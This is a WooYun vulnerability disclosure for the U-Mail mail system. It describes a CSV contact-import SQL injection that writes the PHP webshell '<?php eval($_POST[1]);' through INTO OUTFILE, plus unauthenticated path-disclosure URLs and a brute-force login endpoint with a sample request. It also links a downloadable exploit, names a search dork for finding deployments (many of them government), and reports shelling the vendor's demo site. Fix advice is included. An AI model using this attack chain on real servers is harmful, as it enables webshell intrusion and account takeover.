当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-092678

漏洞标题:U-Mail另类注入导致无限制getshell

相关厂商:U-Mail

漏洞作者: Ano_Tom

提交时间:2015-01-19 15:35

修复时间:2015-04-20 14:22

公开时间:2015-04-20 14:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-19: 细节已通知厂商并且等待厂商处理中
2015-01-22: 厂商已经确认,细节仅向厂商公开
2015-01-25: 细节向第三方安全合作伙伴开放
2015-03-18: 细节向核心白帽子及相关领域专家公开
2015-03-28: 细节向普通白帽子公开
2015-04-07: 细节向实习白帽子公开
2015-04-20: 细节向公众公开

简要描述:

U-Mail另类注入导致无限制getshell

详细说明:

1.邮件系统介绍
1)官方下载地址:http://www.comingchina.com/html/downloads/
2)版本:最新版V9.8.57
3)测试环境:Windows Server 2003+IIS6.0+官方默认软件
4)使用案例:http://www.comingchina.com/html/case/ OR Google "Powered by U-Mail"
2.邮件系统数据
1)系统默认路径:
c:\umail为邮件系统的默认路径
c:\umail\WorldClient\html\为邮件系统的web路径
http://mail.fuck.com/webmail/为普通用户的登录入口
http://mail.fuck.com/webmail/admin/?module=user&action=login为域/超域/系统管理员的登录入口
2)安装数据
系统安装完毕后在C:\umail路径下生成readme.txt文件,记录了安装的帐号密码相关信息,如图

1.png


安装完毕后有两个数据库umail和webmail,其中umail记录整个邮件系统的数据;
数据库会生成两个用户,一个root一个umail,其中umail帐号对应数据库umail[问题1]
同时系统会生成三个管理用户,admin(域管理员)、administrator(超域管理员)、system(系统管理员)前两个帐号可以管理所有用户密码等信息
对应的数据表为web_user,且密码明文存储,如图

2.png


3)漏洞文件
/client/pab/module/o_contact.php 代码为

if ( ACTION == "contact-import" )
{
$url = make_link( "pab", "view", "index" );
$import_file = $_FILES['import_file'];//获取文件
$import_group = $_POST['import_group'];
$import_mode = $_POST['import_mode'];
$file_path = $_FILES['import_file']['tmp_name'];
$fp = @fopen( $file_path, "r" );
if ( !$fp )
{
redirect( $url, "无法打开文件!" );
}
$i = 0;
$file_fields = array( );
//从文件中读取内容,
while ( !feof( $fp ) )
{
$line = iconv( "GBK", "UTF-8", trim( fgets( $fp, 4096 ) ) );
if ( $i == 0 )
{
$field_map = $PAB->getExportFieldMap( );//获得字段项
$tmp_field_arr = explode( ",", trim( $line ) );
foreach ( $tmp_field_arr as $tmp_field )
{
$tmp_field = trim( $tmp_field );
$is_find = FALSE;
foreach ( $field_map as $key => $field )
{
if ( !( $tmp_field == $field ) || !( $tmp_field == "\"".$field."\"" ) )
{
continue;
}
$file_fields[] = $key;
$is_find = TRUE;
break;
}
if ( !$is_find )
{
$file_fields[] = "";
}
}
}
else
{
$data = array( );
$line_arr = explode( ",", $line );
foreach ( $line_arr as $j => $val )
{
preg_match( "/\"(.+?)\"/", $val, $arr_tmp );
$val = $arr_tmp[1] ? $arr_tmp[1] : $val;
if ( !$val && !$file_fields[$j] && !( $val != "\"\"" ) )
{
$data[$file_fields[$j]] = $val;//将文件读取的内容拼接至数组里
}
}
if ( !$data )
{
}
else
{
$data['updated'] = date( "Y-m-d H:i:s" );
$contact = $PAB->getContactByMail( $user_id, $data['pref_email'], "contact_id", 0 );//进入函数,产生了一个select的查询
if ( $contact )
{
do
{
if ( !( $import_mode == "ignore" ) )
{
$where = "contact_id='".$contact['contact_id']."'";
$result = $PAB->update_contact( $data, $where, 0 );
if ( !$result )
{
redirect( $url, "更新数据失败!" );
}

if ( $import_group && $PAB->checkMap( $user_id, $import_group, $contact['contact_id'], 0 ) )
{
$contact_id = $contact['contact_id'];
break;
break;
}
}
}
else
{
$data['user_id'] = $user_id;
$contact_id = $PAB->add_contact( $data, 0 );//执行插入数据操作
if ( $contact_id )
{
break;
}
redirect( $url, "导入数据失败!" );
} while ( 0 );
}
if ( $import_group )
{
$res = $PAB->addMap( $user_id, $import_group, $contact_id, 0 );
}
}
}
++$i;
}
fclose( $fp );
redirect( $url, "导入数据成功!" );
}


两个sql查询的文件代码为
其中$contact = $PAB->getContactByMail( $user_id, $data['pref_email'], "contact_id", 0 );
在文件/client/admin/lib/PAB.php

public function getContactByMail( $_obfuscate_nQNptTJPgÿÿ, $_obfuscate_ae6UFRQÿ, $_obfuscate_tjILu7ZH = "*", $_obfuscate_ySeUHBwÿ = FALSE )
{
$_obfuscate_IRFhnYwÿ = "user_id='".$_obfuscate_nQNptTJPgÿÿ."' AND pref_email='".$_obfuscate_ae6UFRQÿ."'";//pref_email的参数未转义等处理
$_obfuscate_6RYLWQÿÿ = $this->getone_contact( $_obfuscate_IRFhnYwÿ, $_obfuscate_tjILu7ZH, $_obfuscate_ySeUHBwÿ );
return $_obfuscate_6RYLWQÿÿ;
}


$contact_id = $PAB->add_contact( $data, 0 );//执行插入数据操作
是直接将$data的数据insert到contact表里的。所以读取文件的内容,并获取参数,最终执行了函数,函数对变量未进行有效转义等,从而产生注入
这个注入比较另类的地方是,我们可以引入单引号、注释符进行闭合等,但是不能引入逗号,因为其从文件读取参数的时候是按照逗号进行分割的。所以只能sleep()一下,且若想盲注的话还不能引入逗号,因而无法继续利用。先查看下具体的sql语句。
缺陷产生的地方是在个人通讯录-导入联系人到此组中,要想导入联系人,先得获取提交文件的字段信息。

3.png


文件信息为

4.png


然后修改文件,执行导入联系人到此组

5.png


执行的sql语句为

6.png


发现INSERT的数据是写死的,fullname和pref_email不能引入)等进行闭合,因为其有逗号,(从文件获取参数的时候是按照逗号分割的,所以整个注入利用的exp中不能出现逗号),因而无法将select password from web_user INSERT到联系人表里。上面的select 也只能执行个sleep,且无法盲注(有逗号,暂未绕过)
所以此处是个鸡肋的sql注入,但恰巧该SQL语句只执行了SELECT contact_id这一个字段,所以我们可以进行UNION SELECT,从而不用产生逗号了。若只是查询数据也是获取不到的,因为其还是要引入逗号的。所以考虑到了INTO OUTFILE,巧合的是该邮件系统的umail帐号默认却是有FILE权限的(邮箱存储邮件是写文件的,应该是业务需求)

7.png


UNION SELECT 要保证前面的sql执行无结果返回,因而getshell的最终exp为,在联系人表的电子邮件地址写入
hello' AND 1=2 UNION SELECT '<?php eval($_POST[1]);' INTO OUTFILE 'C:\\umail\\WorldClient\\html\\damn.php'#即可

8.png


执行的sql语句为

150118 14:23:06	 1353 Connect	umail@localhost on 
1353 Query SET NAMES 'UTF8'
1353 Init DB umail
1353 Query SELECT contact_id FROM pab_contact WHERE user_id='3' AND pref_email='hello' AND 1=2 UNION SELECT '<?php eval($_POST[1]);' INTO OUTFILE 'C:\\umail\\WorldClient\\html\\damn.php'#' LIMIT 1
1353 Query INSERT INTO pab_contact SET `fullname`='hello',`pref_email`='hello' AND 1=2 UNION SELECT '<?php eval($_POST[1]);' INTO OUTFILE 'C:\\umail\\WorldClient\\html\\damn.php'#',`birthday`='0000-00-00',`updated`='2015-01-18 14:23:06',`user_id`='3'
1353 Quit


9.png


当然,我们要知道网站的web路径才可以,默认路径是c:\umail,若不是默认路径,这里还一处爆路径缺陷,登录状态下访问webmail/client/mail/index.php?module=operate&action=attach-packdown即可,或者在未登录状态下直接访问/webmail/client/mail/module/test.php即可
从而获得webshell为

10.png


这样难道还不完美?如何获得邮箱系统的一个普通帐号,难道不容易获取么?

11.jpg


主页登录处,输错密码三次就要输入验证码,但该系统中却存在一处设计缺陷,该设计缺陷,不仅可以猜解存在哪些用户名,而且可以导致暴力猜解用户密码,
/api/userCheck.php代码为

$mailbox = trim( $_GET['mailbox'] );
$cfv = trim( $_GET['cfv'] );
$domain = trim( $_GET['domain'] );
$password = trim( $_GET['password'] );
if ( $mailbox )
{
if ( !checkemailname( $mailbox ) )
{
echo "param_error";
exit( );
}
if ( !$password )
{
echo "param_error";
exit( );
}
}
else
{
if ( !$cfv )
{
echo "param_error";
exit( );
}
if ( !$domain )
{
echo "param_error";
exit( );
}
if ( !$password )
{
echo "param_error";
exit( );
}
}
require_once( "../mainconfig.php" );
connect_db( "127.0.0.1:6033", $db_user, $db_password, "umail" );
//get传入mailbox变量
if ( $mailbox )
{
list( $username, $domain ) = explode( "@", $mailbox );
}
$domain_id = getdomainidbyname( $domain, 0 );
if ( $cfv )
{
$userlist = getuserlistbycfv( $domain_id, $cfv, "UserID,Mailbox,FullName,Password,CustomFieldValue", 0 );
}
else
{ //不传入cfv
$userlist = getuserlistbyname( $domain_id, $username, "UserID,Mailbox,FullName,Password,CustomFieldValue", 0 );//根据用户名查到该用户的记录,若有则返回,无则exit函数
}
if ( !$userlist )
{
echo "mailbox_not_exist";//如果不存在用户名的话,则提示不存在用户,同时结束运行
exit( );
}
if ( $userlist['Password'] == $password )
{
echo "ok";//根据用户名从数据库获得的用户密码,比较与用户提交的是否相等,相等就ok,导致密码可以被暴力破解
exit( );
}
echo "password_error";//若用户名存在,则查看密码是否正确
exit( );
?>


如何获得用户名?(妈蛋,既然邮件系统,肯定邮箱地址是公开的,这就是用户名),当然我们可以暴力下有哪些用户名
方法,/webmail/api/userCheck.php?mailbox=xxxx@domain.com&password=sbsbsbsbsbsb
要想暴力猜解用户名,必须保证密码是一个不存在的密码,很简单,设置个足够复杂变态的即可,如图

12.png


输出mailbox_not_exist表示不存在该用户名

13.png


输错password_error表示存在该用户名
暴力猜解用户名,载入用户名字典(拼音组合等),执行爆破。

14.png


获得用户名后,直接猜解密码即可,载入字典,无任何次数限制。密码正确提示ok,错误则提示password_error,如图

GET /webmail/api/userCheck.php?mailbox=weakpass@fuck.com&password=xxx HTTP/1.1
Host: mail.fuck.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=3f46b9d2eeace956a851d34d2032c24f


15.png


综上,从一个另类注入,完美getshell,附上官网demo1shell

16.png


附EXP下载,链接: http://pan.baidu.com/s/1bnGVbY3 密码: wn3v 修改web路径,导入通讯录即可getshell,同时附送众多的案例,谷歌搜索,都第31页了还是有很多该邮件系统,使用量是比较大的,政府用户也居多。

17.png


漏洞证明:

如上详细描述

修复方案:

1.umail的权限[因邮箱系统的业务需求,因而需要FILE权限]
2.对从文件获取的参数未进行过滤处理
3.相关函数未进行过滤等处理

版权声明:转载请注明来源 Ano_Tom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-01-22 16:39

厂商回复:

CNVD确认所述情况,已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。

最新状态:

暂无